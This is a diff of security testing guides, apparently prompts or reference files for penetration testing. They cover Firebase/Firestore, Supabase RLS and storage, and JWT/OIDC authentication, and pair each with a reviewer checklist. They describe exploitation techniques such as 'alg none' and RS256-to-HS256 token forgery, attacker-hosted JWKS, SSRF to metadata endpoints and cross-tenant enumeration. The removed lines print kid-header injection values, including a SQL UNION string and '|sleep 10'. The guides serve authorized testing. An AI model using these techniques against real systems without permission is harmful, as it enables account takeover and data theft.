<architecture>
|
||||
- Firestore REST: https://firestore.googleapis.com/v1/projects/<project>/databases/(default)/documents/<path>
|
||||
- Storage REST: https://storage.googleapis.com/storage/v1/b/<bucket>
|
||||
- Auth: Google-signed ID tokens (iss accounts.google.com/securetoken.google.com/<project>), aud <project/app-id>; identity is in sub/uid.
|
||||
- Rules engines: separate for Firestore, Realtime DB, and Storage; Functions bypass rules when using Admin SDK.
|
||||
</architecture>
|
||||
|
||||
<auth_and_tokens>
|
||||
- ID token verification must enforce issuer, audience (project), signature (Google JWKS), expiration, and optionally App Check binding when used.
|
||||
- Custom claims are appended by Admin SDK; client-supplied claims are ignored by Auth but may be trusted by app code if copied into docs.
|
||||
- Pitfalls:
|
||||
- Accepting any JWT with valid signature but wrong audience/project.
|
||||
- Trusting uid/account IDs from request body instead of context.auth.uid in Functions.
|
||||
- Mixing session cookies and ID tokens without verifying both paths equivalently.
|
||||
- Tests:
|
||||
- Replay tokens across environments/projects; expect strict aud/iss rejection server-side.
|
||||
- Call Functions with and without Authorization; verify identical checks on both onCall and onRequest variants.
|
||||
</auth_and_tokens>
|
||||
|
||||
<firestore_rules>
|
||||
- Rules are not filters: a query must include constraints that make the rule true for all returned documents; otherwise reads fail. Do not rely on client to include where clauses correctly.
|
||||
- Prefer ownership derived from request.auth.uid and server data, not from client payload fields.
|
||||
- Common gaps:
|
||||
- allow read: if request.auth != null (any user reads all data)
|
||||
- allow write: if request.auth != null (mass write)
|
||||
- Missing per-field validation (adds isAdmin/role/tenantId fields).
|
||||
- Using client-supplied ownerId/orgId instead of enforcing doc.ownerId == request.auth.uid or membership in org.
|
||||
- Over-broad list rules on root collections; per-doc checks exist but list still leaks via queries.
|
||||
- Validation patterns:
|
||||
- Restrict writes: request.resource.data.keys().hasOnly([...]) and forbid privilege fields.
|
||||
- Enforce ownership: resource.data.ownerId == request.auth.uid && request.resource.data.ownerId == request.auth.uid
|
||||
- Org membership: exists(/databases/(default)/documents/orgs/$(org)/members/$(request.auth.uid))
|
||||
- Tests:
|
||||
- Compare results for users A/B on identical queries; diff counts and IDs.
|
||||
- Attempt cross-tenant reads: where orgId == otherOrg; try queries without org filter to confirm denial.
|
||||
- Write-path: set/patch with foreign ownerId/orgId; attempt to flip privilege flags.
|
||||
</firestore_rules>
|
||||
|
||||
<firestore_queries>
|
||||
- Enumerate via REST to avoid SDK client-side constraints; try structured and REST filters.
|
||||
- Probe composite index requirements: UI-driven queries may hide missing rule coverage when indexes are enabled but rules are broad.
|
||||
- Explore collection group queries (collectionGroup) that may bypass per-collection rules if not mirrored.
|
||||
- Use startAt/endAt/in/array-contains to probe rule edges and pagination cursors for cross-tenant bleed.
|
||||
</firestore_queries>
|
||||
|
||||
<realtime_database>
|
||||
- Misconfigured rules frequently expose entire JSON trees. Probe https://<project>.firebaseio.com/.json with and without auth.
|
||||
- Confirm rules for read/write use auth.uid and granular path checks; avoid .read/.write: true or auth != null at high-level nodes.
|
||||
- Attempt to write privilege-bearing nodes (roles, org membership) and observe downstream effects (e.g., Cloud Functions triggers).
|
||||
</realtime_database>
|
||||
|
||||
<cloud_storage>
|
||||
- Rules parallel Firestore but apply to object paths. Common issues:
|
||||
- Public reads on sensitive buckets/paths.
|
||||
- Signed URLs with long TTL, no content-disposition controls; replayable across tenants.
|
||||
- List operations exposed: /o?prefix= enumerates object keys.
|
||||
- Tests:
|
||||
- GET gs:// paths via https endpoints without auth; verify content-type and Content-Disposition: attachment.
|
||||
- Generate and reuse signed URLs across accounts and paths; try case/URL-encoding variants.
|
||||
- Upload HTML/SVG and verify X-Content-Type-Options: nosniff; check for script execution.
|
||||
</cloud_storage>
|
||||
|
||||
<cloud_functions>
|
||||
- onCall provides context.auth automatically; onRequest must verify ID tokens explicitly. Admin SDK bypasses rules; all ownership/tenant checks must be enforced in code.
|
||||
- Common gaps:
|
||||
- Trusting client uid/orgId from request body instead of context.auth.
|
||||
- Missing aud/iss verification when manually parsing tokens.
|
||||
- Over-broad CORS allowing credentialed cross-origin requests; echoing Authorization in responses.
|
||||
- Triggers (onCreate/onWrite) granting roles or issuing signed URLs solely based on document content controlled by the client.
|
||||
- Tests:
|
||||
- Call both onCall and equivalent onRequest endpoints with varied tokens and bodies; expect identical decisions.
|
||||
- Create crafted docs to trigger privilege-granting functions; verify that server re-derives subject/tenant before acting.
|
||||
- Attempt internal fetches (SSRF) via Functions to project/metadata endpoints.
|
||||
</cloud_functions>
|
||||
|
||||
<app_check>
|
||||
- App Check is not a substitute for authorization. Many apps enable App Check enforcement on client SDKs but do not verify on custom backends.
|
||||
- Bypasses:
|
||||
- Unenforced paths: REST calls directly to googleapis endpoints with ID token succeed regardless of App Check.
|
||||
- Mobile reverse engineering: hook client and reuse ID token flows without attestation.
|
||||
- Tests:
|
||||
- Compare SDK vs REST behavior with/without App Check headers; confirm no elevated authorization via App Check alone.
|
||||
</app_check>
|
||||
|
||||
<tenant_isolation>
|
||||
- Apps often implement multi-tenant data models (orgs/<orgId>/...). Bind tenant from server context (membership doc or custom claim), not from client payload.
|
||||
- Tests:
|
||||
- Vary org header/subdomain/query while keeping token fixed; verify server denies cross-tenant access.
|
||||
- Export/report Functions: ensure queries execute under caller scope; signed outputs must encode tenant and short TTL.
|
||||
</tenant_isolation>
|
||||
|
||||
<bypass_techniques>
|
||||
- Content-type switching: JSON vs form vs multipart to hit alternate code paths in onRequest Functions.
|
||||
- Parameter/field pollution: duplicate JSON keys; last-one-wins in many parsers; attempt to sneak privilege fields.
|
||||
- Caching/CDN: Hosting rewrites or proxies that key responses without Authorization or tenant headers.
|
||||
- Race windows: write then read before background enforcements (e.g., post-write claim synchronizations) complete.
|
||||
</bypass_techniques>
|
||||
|
||||
<blind_channels>
|
||||
- Firestore: use error shape, document count, and ETag/length to infer existence under partial denial.
|
||||
- Storage: length/timing differences on signed URL attempts leak validity.
|
||||
- Functions: constant-time comparisons vs variable messages reveal authorization branches.
|
||||
</blind_channels>
|
||||
|
||||
<tooling_and_automation>
|
||||
- SDK + REST: httpie/curl + jq for REST; Firebase emulator and Rules Playground for rapid iteration.
|
||||
- Mobile: apktool/objection/frida to extract config and hook SDK calls; inspect network logs for endpoints and tokens.
|
||||
- Rules analysis: script rule probes for common patterns (auth != null, missing field validation, list vs get parity).
|
||||
- Functions: fuzz onRequest endpoints with varied content-types and missing/forged Authorization; verify CORS and token handling.
|
||||
- Storage: enumerate prefixes; test signed URL generation and reuse patterns.
|
||||
</tooling_and_automation>
|
||||
|
||||
<reviewer_checklist>
|
||||
- Do Firestore/Realtime/Storage rules derive subject and tenant from auth, not client fields?
|
||||
- Are list/query rules aligned with per-doc checks (no broad list leaks)?
|
||||
- Are privilege-bearing fields immutable or server-only (forbidden in writes)?
|
||||
- Do Functions verify ID tokens (iss/aud/exp/signature) and re-derive identity before acting?
|
||||
- Are Admin SDK operations scoped by server-side checks (ownership/tenant)?
|
||||
- Is App Check treated as advisory, not authorization, across all paths?
|
||||
- Are Hosting/CDN cache keys bound to Authorization/tenant to prevent leaks?
|
||||
</reviewer_checklist>
|
||||
|
||||
<validation>
|
||||
1. Provide owner vs non-owner Firestore queries showing unauthorized access or metadata leak.
|
||||
2. Demonstrate Cloud Storage read/write beyond intended scope (public object, signed URL reuse, or list exposure).
|
||||
3. Show a Function accepting forged/foreign identity (wrong aud/iss) or trusting client uid/orgId.
|
||||
4. Document minimal reproducible requests with roles/tokens used and observed deltas.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Public collections/objects documented and intended.
|
||||
- Rules that correctly enforce per-doc checks with matching query constraints.
|
||||
- Functions verifying tokens and ignoring client-supplied identifiers.
|
||||
- App Check enforced but not relied upon for authorization.
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Cross-account and cross-tenant data exposure.
|
||||
- Unauthorized state changes via Functions or direct writes.
|
||||
- Exfiltration of PII/PHI and private files from Storage.
|
||||
- Durable privilege escalation via misused custom claims or triggers.
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Treat apiKey as project identifier only; identity must come from verified ID tokens.
|
||||
2. Start from rules: read them, then prove gaps with diffed owner/non-owner requests.
|
||||
3. Prefer REST for parity checks; SDKs can mask errors via client-side filters.
|
||||
4. Hunt privilege fields in docs and forbid them via rules; verify immutability.
|
||||
5. Probe collectionGroup queries and list rules; many leaks live there.
|
||||
6. Functions are the authority boundary—enforce subject/tenant there even if rules exist.
|
||||
7. Keep concise PoCs: one owner vs non-owner request per surface that clearly demonstrates the unauthorized delta.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Authorization must hold at every layer: rules, Functions, and Storage. Bind subject and tenant from verified tokens and server data, never from client payload or UI assumptions. Any gap becomes a cross-account or cross-tenant vulnerability.</remember>
|
||||
</firebase_firestore_security_guide>
|
||||
@@ -0,0 +1,189 @@
|
||||
<supabase_security_guide>
|
||||
<title>SUPABASE — ADVERSARIAL TESTING AND EXPLOITATION</title>
|
||||
|
||||
<critical>Supabase exposes Postgres through PostgREST, Realtime, GraphQL, Storage, Auth (GoTrue), and Edge Functions. Most impactful findings come from mis-scoped Row Level Security (RLS), unsafe RPCs, leaked service_role keys, lax Storage policies, GraphQL overfetching, and Edge Functions trusting headers or tokens without binding to issuer/audience/tenant.</critical>
|
||||
|
||||
<scope>
|
||||
- PostgREST: table CRUD, filters, embeddings, RPC (remote functions)
|
||||
- RLS: row ownership/tenant isolation via policies and auth.uid()
|
||||
- Storage: buckets, objects, signed URLs, public/private policies
|
||||
- Realtime: replication subscriptions, broadcast/presence channels
|
||||
- GraphQL: pg_graphql over Postgres schema with RLS interaction
|
||||
- Auth (GoTrue): JWTs, cookie/session, magic links, OAuth flows
|
||||
- Edge Functions (Deno): server-side code calling Supabase with secrets
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Inventory surfaces: REST /rest/v1, Storage /storage/v1, GraphQL /graphql/v1, Realtime wss, Auth /auth/v1, Functions https://<project>.functions.supabase.co/.
|
||||
2. Obtain tokens for: unauth (anon), basic user, other user, and (if disclosed) admin/staff; enumerate anon key exposure and verify if service_role leaked anywhere.
|
||||
3. Build a Resource × Action × Principal matrix and test each via REST and GraphQL. Confirm parity across channels and content-types (json/form/multipart).
|
||||
4. Start with list/search/export endpoints to gather IDs, then attempt direct reads/writes across principals, tenants, and transports. Validate RLS and function guards.
|
||||
</methodology>
|
||||
|
||||
<architecture>
|
||||
- Project endpoints: https://<ref>.supabase.co; REST at /rest/v1/<table>, RPC at /rest/v1/rpc/<fn>.
|
||||
- Headers: apikey: <anon-or-service>, Authorization: Bearer <JWT>. Anon key only identifies the project; JWT binds user context.
|
||||
- Roles: anon, authenticated; service_role bypasses RLS and must never be client-exposed.
|
||||
- auth.uid(): current user UUID claim; policies must never trust client-supplied IDs over server context.
|
||||
</architecture>
|
||||
|
||||
<rls>
|
||||
- Enable RLS on every non-public table; absence or “permit-all” policies → bulk exposure.
|
||||
- Common gaps:
|
||||
- Policies check auth.uid() for read but forget UPDATE/DELETE/INSERT.
|
||||
- Missing tenant constraints (org_id/tenant_id) allow cross-tenant reads/writes.
|
||||
- Policies rely on client-provided columns (user_id in payload) instead of deriving from JWT.
|
||||
- Complex joins where the effective policy is applied after filters, enabling inference via counts or projections.
|
||||
- Tests:
|
||||
- Compare results for two users: GET /rest/v1/<table>?select=*&Prefer=count=exact; diff row counts and IDs.
|
||||
- Try cross-tenant: add &org_id=eq.<other_org> or use or=(org_id.eq.other,org_id.is.null).
|
||||
- Write-path: PATCH/DELETE single row with foreign id; INSERT with foreign owner_id then read.
|
||||
</rls>
|
||||
|
||||
<postgrest_and_rest>
|
||||
- Filters: eq, neq, lt, gt, ilike, or, is, in; embed relations with select=*,profile(*); exploit embeddings to overfetch linked rows if resolvers skip per-row checks.
|
||||
- Headers to know: Prefer: return=representation (echo writes), Prefer: count=exact (exposure via counts), Accept-Profile/Content-Profile to select schema.
|
||||
- IDOR patterns: /rest/v1/<table>?select=*&id=eq.<other_id>; query alternative keys (slug, email) and composite keys.
|
||||
- Search leaks: generous LIKE/ILIKE filters + lack of RLS → mass disclosure.
|
||||
- Mass assignment: if RPC not used, PATCH can update unintended columns; verify restricted columns via database permissions/policies.
|
||||
</postgrest_and_rest>
|
||||
|
||||
<rpc_functions>
|
||||
- RPC endpoints map to SQL functions. SECURITY DEFINER bypasses RLS unless carefully coded; SECURITY INVOKER respects caller.
|
||||
- Anti-patterns:
|
||||
- SECURITY DEFINER + missing owner checks → vertical/horizontal bypass.
|
||||
- set search_path left to public; function resolves unsafe objects.
|
||||
- Trusting client-supplied user_id/tenant_id rather than auth.uid().
|
||||
- Tests:
|
||||
- Call /rest/v1/rpc/<fn> as different users with foreign ids in body.
|
||||
- Remove or alter JWT entirely (Authorization: Bearer <anon>) to see if function still executes.
|
||||
- Validate that functions perform explicit ownership/tenant checks inside SQL, not only in docs.
|
||||
</rpc_functions>
|
||||
|
||||
<storage>
|
||||
- Buckets: public vs private; objects live in storage.objects with RLS-like policies.
|
||||
- Find misconfigs:
|
||||
- Public buckets holding sensitive data: GET https://<ref>.supabase.co/storage/v1/object/public/<bucket>/<path>
|
||||
- Signed URLs with long TTL and no audience binding; reuse/guess tokens across tenants/paths.
|
||||
- Listing prefixes without auth: /storage/v1/object/list/<bucket>?prefix=
|
||||
- Path confusion: mixed case, URL-encoding, “..” segments rejected at UI but accepted by API.
|
||||
- Abuse vectors:
|
||||
- Content-type/XSS: upload HTML/SVG served as text/html or image/svg+xml; confirm X-Content-Type-Options: nosniff and Content-Disposition: attachment.
|
||||
- Signed URL replay across accounts/buckets if validation is lax.
|
||||
</storage>
|
||||
|
||||
<realtime>
|
||||
- Endpoint: wss://<ref>.supabase.co/realtime/v1. Join channels with apikey + Authorization.
|
||||
- Risks:
|
||||
- Channel names derived from table/schema/filters leaking other users’ updates when RLS or channel guards are weak.
|
||||
- Broadcast/presence channels allowing cross-room join/publish without auth checks.
|
||||
- Tests:
|
||||
- Subscribe to public:realtime changes on protected tables; confirm row data visibility aligns with RLS.
|
||||
- Attempt joining other users’ presence/broadcast channels (e.g., room:<user_id>, org:<id>).
|
||||
</realtime>
|
||||
|
||||
<graphql>
|
||||
- Endpoint: /graphql/v1 using pg_graphql with RLS. Risks:
|
||||
- Introspection reveals schema relations; ensure it’s intentional.
|
||||
- Overfetch via nested relations where field resolvers fail to re-check ownership/tenant.
|
||||
- Global node IDs (if implemented) leaked and reusable via different viewers.
|
||||
- Tests:
|
||||
- Compare REST vs GraphQL responses for the same principal and query shape.
|
||||
- Query deep nested fields and connections; verify RLS holds at each edge.
|
||||
</graphql>
|
||||
|
||||
<auth_and_tokens>
|
||||
- GoTrue issues JWTs with claims (sub=uid, role, aud=authenticated). Validate on server: issuer, audience, exp, signature, and tenant context.
|
||||
- Pitfalls:
|
||||
- Storing tokens in localStorage → XSS exfiltration; refresh mismanagement leading to long-lived sessions.
|
||||
- Treating apikey as identity; it is project-scoped, not user identity.
|
||||
- Exposing service_role key in client bundle or Edge Function responses.
|
||||
- Tests:
|
||||
- Replay tokens across services; check audience/issuer pinning.
|
||||
- Try downgraded tokens (expired/other audience) against custom endpoints.
|
||||
</auth_and_tokens>
|
||||
|
||||
<edge_functions>
|
||||
- Deno-based functions often initialize server-side Supabase client with service_role. Risks:
|
||||
- Trusting Authorization/apikey headers without verifying JWT against issuer/audience.
|
||||
- CORS: wildcard origins with credentials; reflected Authorization in responses.
|
||||
- SSRF via fetch; secrets exposed via error traces or logs.
|
||||
- Tests:
|
||||
- Call functions with and without Authorization; compare behavior.
|
||||
- Try foreign resource IDs in function payloads; verify server re-derives user/tenant from JWT.
|
||||
- Attempt to reach internal endpoints (metadata services, project endpoints) via function fetch.
|
||||
</edge_functions>
|
||||
|
||||
<tenant_isolation>
|
||||
- Ensure every query joins or filters by tenant_id/org_id derived from JWT context, not client input.
|
||||
- Tests:
|
||||
- Change subdomain/header/path tenant selectors while keeping JWT tenant constant; look for cross-tenant data.
|
||||
- Export/report endpoints: confirm queries execute under caller scope; signed outputs must encode tenant and short TTL.
|
||||
</tenant_isolation>
|
||||
|
||||
<bypass_techniques>
|
||||
- Content-type switching: application/json ↔ application/x-www-form-urlencoded ↔ multipart/form-data to hit different code paths.
|
||||
- Parameter pollution: duplicate keys in JSON/query; PostgREST chooses last/first depending on parser.
|
||||
- GraphQL+REST parity probing: protections often drift; fetch via the weaker path.
|
||||
- Race windows: parallel writes to bypass post-insert ownership updates.
|
||||
</bypass_techniques>
|
||||
|
||||
<blind_channels>
|
||||
- Use Prefer: count=exact and ETag/length diffs to infer unauthorized rows.
|
||||
- Conditional requests (If-None-Match) to detect object existence without content exposure.
|
||||
- Storage signed URLs: timing/length deltas to map valid vs invalid tokens.
|
||||
</blind_channels>
|
||||
|
||||
<tooling_and_automation>
|
||||
- PostgREST: httpie/curl + jq; enumerate tables with known names; fuzz filters (or=, ilike, neq, is.null).
|
||||
- GraphQL: graphql-inspector, voyager; build deep queries to test field-level enforcement; complexity/batching tests.
|
||||
- Realtime: custom ws client; subscribe to suspicious channels/tables; diff payloads per principal.
|
||||
- Storage: enumerate bucket listing APIs; script signed URL generation/use patterns.
|
||||
- Auth/JWT: jwt-cli/jose to validate audience/issuer; replay against Edge Functions.
|
||||
- Policy diffing: maintain request sets per role and compare results across releases.
|
||||
</tooling_and_automation>
|
||||
|
||||
<reviewer_checklist>
|
||||
- Are all non-public tables RLS-enabled with explicit SELECT/INSERT/UPDATE/DELETE policies?
|
||||
- Do policies derive subject/tenant from JWT (auth.uid(), tenant claim) rather than client payload?
|
||||
- Do RPC functions run as SECURITY INVOKER, or if DEFINER, do they enforce ownership/tenant inside?
|
||||
- Are Storage buckets private by default, with short-lived signed URLs bound to tenant/context?
|
||||
- Does Realtime enforce RLS-equivalent filtering for subscriptions and block cross-room joins?
|
||||
- Is GraphQL parity verified with REST; are nested resolvers guarded per field?
|
||||
- Are Edge Functions verifying JWT (issuer/audience) and never exposing service_role to clients?
|
||||
- Are CDN/cache keys bound to Authorization/tenant to prevent cache leaks?
|
||||
</reviewer_checklist>
|
||||
|
||||
<validation>
|
||||
1. Provide owner vs non-owner requests for REST/GraphQL showing unauthorized access (content or metadata).
|
||||
2. Demonstrate a mis-scoped RPC or Storage signed URL usable by another user/tenant.
|
||||
3. Confirm Realtime or GraphQL exposure matches missing policy checks.
|
||||
4. Document minimal reproducible requests and role contexts used.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Tables intentionally public (documented) with non-sensitive content.
|
||||
- RLS-enabled tables returning only caller-owned rows; mismatched UI not backed by API responses.
|
||||
- Signed URLs with very short TTL and audience binding.
|
||||
- Edge Functions verifying tokens and re-deriving context before acting.
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Cross-account/tenant data exposure and unauthorized state changes.
|
||||
- Exfiltration of PII/PHI/PCI, financial and billing artifacts, private files.
|
||||
- Privilege escalation via RPC and Edge Functions; durable access via long-lived tokens.
|
||||
- Regulatory and contractual violations stemming from tenant isolation failures.
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Start with /rest/v1 list/search; counts and embeddings reveal policy drift fast.
|
||||
2. Treat UUIDs and signed URLs as untrusted; validate binding to subject/tenant and TTL.
|
||||
3. Focus on RPC and Edge Functions—they often centralize business logic and skip RLS.
|
||||
4. Test GraphQL and Realtime parity with REST; differences are where vulnerabilities hide.
|
||||
5. Keep role-separated request corpora and diff responses across deployments.
|
||||
6. Never assume apikey == identity; only JWT binds subject. Prove it.
|
||||
7. Prefer concise PoCs: one request per role that clearly shows the unauthorized delta.
|
||||
</pro_tips>
|
||||
|
||||
<remember>RLS must bind subject and tenant on every path, and server-side code (RPC/Edge) must re-derive identity from a verified token. Any gap in binding, audience/issuer verification, or per-field enforcement becomes a cross-account or cross-tenant vulnerability.</remember>
|
||||
</supabase_security_guide>
|
||||
@@ -1,129 +1,147 @@
|
||||
<authentication_jwt_guide>
|
||||
<title>AUTHENTICATION & JWT VULNERABILITIES</title>
|
||||
<title>AUTHENTICATION AND JWT/OIDC</title>
|
||||
|
||||
<critical>Authentication flaws lead to complete account takeover. JWT misconfigurations are everywhere.</critical>
|
||||
<critical>JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.</critical>
|
||||
|
||||
<jwt_structure>
|
||||
header.payload.signature
|
||||
- Header: {"alg":"HS256","typ":"JWT"}
|
||||
- Payload: {"sub":"1234","name":"John","iat":1516239022}
|
||||
- Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
|
||||
</jwt_structure>
|
||||
<scope>
|
||||
- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
|
||||
- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
|
||||
- First-party and microservices verification, gateways, and JWKS distribution
|
||||
</scope>
|
||||
|
||||
<common_attacks>
|
||||
<algorithm_confusion>
|
||||
RS256 to HS256:
|
||||
- Change RS256 to HS256 in header
|
||||
- Use public key as HMAC secret
|
||||
- Sign token with public key (often in /jwks.json or /.well-known/)
|
||||
</algorithm_confusion>
|
||||
<methodology>
|
||||
1. Inventory issuers and consumers: identity providers, API gateways, services, mobile/web clients.
|
||||
2. Capture real tokens (access and ID) for multiple roles. Note header, claims, signature, and verification endpoints (/.well-known, /jwks.json).
|
||||
3. Build a matrix: Token Type × Audience × Service; attempt cross-use (wrong audience/issuer/service) and observe acceptance.
|
||||
4. Mutate headers (alg, kid, jku/x5u/jwk, typ/cty/crit), claims (iss/aud/azp/sub/nbf/iat/exp/scope/nonce), and signatures; verify what is actually enforced.
|
||||
</methodology>
|
||||
|
||||
<none_algorithm>
|
||||
- Set "alg": "none" in header
|
||||
- Remove signature completely (keep the trailing dot)
|
||||
</none_algorithm>
|
||||
<discovery_techniques>
|
||||
<endpoints>
|
||||
- Well-known: /.well-known/openid-configuration, /oauth2/.well-known/openid-configuration
|
||||
- Keys: /jwks.json, rotating key endpoints, tenant-specific JWKS
|
||||
- Auth: /authorize, /token, /introspect, /revoke, /logout, device code endpoints
|
||||
- App: /login, /callback, /refresh, /me, /session, /impersonate
|
||||
</endpoints>
|
||||
|
||||
<weak_secrets>
|
||||
Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-bit-secret'
|
||||
</weak_secrets>
|
||||
<token_features>
|
||||
- Headers: {% raw %}{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}{% endraw %}
|
||||
- Claims: {% raw %}{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}{% endraw %}
|
||||
- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option ("b64":false) and critical headers ("crit").
|
||||
</token_features>
|
||||
</discovery_techniques>
|
||||
|
||||
<kid_manipulation>
|
||||
- SQL Injection: "kid": "key' UNION SELECT 'secret'--"
|
||||
- Command injection: "kid": "|sleep 10"
|
||||
- Path traversal: "kid": "../../../../../../dev/null"
|
||||
</kid_manipulation>
|
||||
</common_attacks>
|
||||
<exploitation_techniques>
|
||||
<signature_verification>
|
||||
- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned
|
||||
- "none" algorithm acceptance: set {% raw %}"alg":"none"{% endraw %} and drop the signature if libraries accept it
|
||||
- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures
|
||||
</signature_verification>
|
||||
|
||||
<header_manipulation>
|
||||
- kid injection: path traversal {% raw %}../../../../keys/prod.key{% endraw %}, SQL/command/template injection in key lookup, or pointing to world-readable files
|
||||
- jku/x5u abuse: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
|
||||
- jwk header injection: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
|
||||
- SSRF via remote key fetch: exploit JWKS URL fetching to reach internal hosts
|
||||
</header_manipulation>
|
||||
|
||||
<key_and_cache_issues>
|
||||
- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
|
||||
- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
|
||||
- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs)
|
||||
</key_and_cache_issues>
|
||||
|
||||
<claims_validation_gaps>
|
||||
- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience
|
||||
- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak
|
||||
- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
|
||||
- typ/cty not enforced: accept ID token where access token required (token confusion)
|
||||
</claims_validation_gaps>
|
||||
|
||||
<token_confusion_and_oidc>
|
||||
- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
|
||||
- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
|
||||
- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
|
||||
- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login\n- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
|
||||
</token_confusion_and_oidc>
|
||||
|
||||
<refresh_and_session>
|
||||
- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
|
||||
- Long-lived JWTs with no revocation: persistent access post-logout
|
||||
- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
|
||||
</refresh_and_session>
|
||||
|
||||
<transport_and_storage>
|
||||
- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
|
||||
- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
|
||||
- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device
|
||||
</transport_and_storage>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<jwk_injection>
|
||||
Embed public key in token header:
|
||||
{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}}
|
||||
</jwk_injection>
|
||||
<microservices_and_gateways>
|
||||
- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
|
||||
- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
|
||||
- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
|
||||
</microservices_and_gateways>
|
||||
|
||||
<jku_manipulation>
|
||||
Set jku/x5u to attacker-controlled URL hosting malicious JWKS
|
||||
</jku_manipulation>
|
||||
<jws_edge_cases>
|
||||
- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
|
||||
- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
|
||||
</jws_edge_cases>
|
||||
|
||||
<timing_attacks>
|
||||
Extract signature byte-by-byte using verification timing differences
|
||||
</timing_attacks>
|
||||
</advanced_techniques>
|
||||
<special_contexts>
|
||||
<mobile>
|
||||
- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
|
||||
- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
|
||||
</mobile>
|
||||
|
||||
<oauth_vulnerabilities>
|
||||
<authorization_code_theft>
|
||||
- Exploit redirect_uri with open redirects, subdomain takeover, parameter pollution
|
||||
- Missing/predictable state parameter = CSRF
|
||||
- PKCE downgrade: remove code_challenge parameter
|
||||
</authorization_code_theft>
|
||||
</oauth_vulnerabilities>
|
||||
<sso_federation>
|
||||
- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
|
||||
</sso_federation>
|
||||
</special_contexts>
|
||||
|
||||
<saml_attacks>
|
||||
- Signature exclusion: remove signature element
|
||||
- Signature wrapping: inject assertions
|
||||
- XXE in SAML responses
|
||||
</saml_attacks>
|
||||
|
||||
<session_attacks>
|
||||
- Session fixation: force known session ID
|
||||
- Session puzzling: mix different session objects
|
||||
- Race conditions in session generation
|
||||
</session_attacks>
|
||||
|
||||
<password_reset_flaws>
|
||||
- Predictable tokens: MD5(timestamp), sequential numbers
|
||||
- Host header injection for reset link poisoning
|
||||
- Race condition resets
|
||||
</password_reset_flaws>
|
||||
|
||||
<mfa_bypass>
|
||||
- Response manipulation: change success:false to true
|
||||
- Status code manipulation: 403 to 200
|
||||
- Brute force with no rate limiting
|
||||
- Backup code abuse
|
||||
</mfa_bypass>
|
||||
|
||||
<advanced_bypasses>
|
||||
<unicode_normalization>
|
||||
Different representations: admin@example.com (fullwidth), аdmin@example.com (Cyrillic)
|
||||
</unicode_normalization>
|
||||
|
||||
<authentication_chaining>
|
||||
- JWT + SQLi: kid parameter with SQL injection
|
||||
- OAuth + XSS: steal tokens via XSS
|
||||
- SAML + XXE + SSRF: chain for internal access
|
||||
</authentication_chaining>
|
||||
</advanced_bypasses>
|
||||
|
||||
<tools>
|
||||
- jwt_tool: Comprehensive JWT testing
|
||||
- Check endpoints: /login, /oauth/authorize, /saml/login, /.well-known/openid-configuration, /jwks.json
|
||||
</tools>
|
||||
<chaining_attacks>
|
||||
- XSS → token theft → replay across services with weak audience checks
|
||||
- SSRF → fetch private JWKS → sign tokens accepted by internal services
|
||||
- Host header poisoning → OIDC redirect_uri poisoning → code capture
|
||||
- IDOR in sessions/impersonation endpoints → mint tokens for other users
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
To confirm authentication flaw:
|
||||
1. Demonstrate account access without credentials
|
||||
2. Show privilege escalation
|
||||
3. Prove token forgery works
|
||||
4. Bypass authentication/2FA requirements
|
||||
5. Maintain persistent access
|
||||
1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS).
|
||||
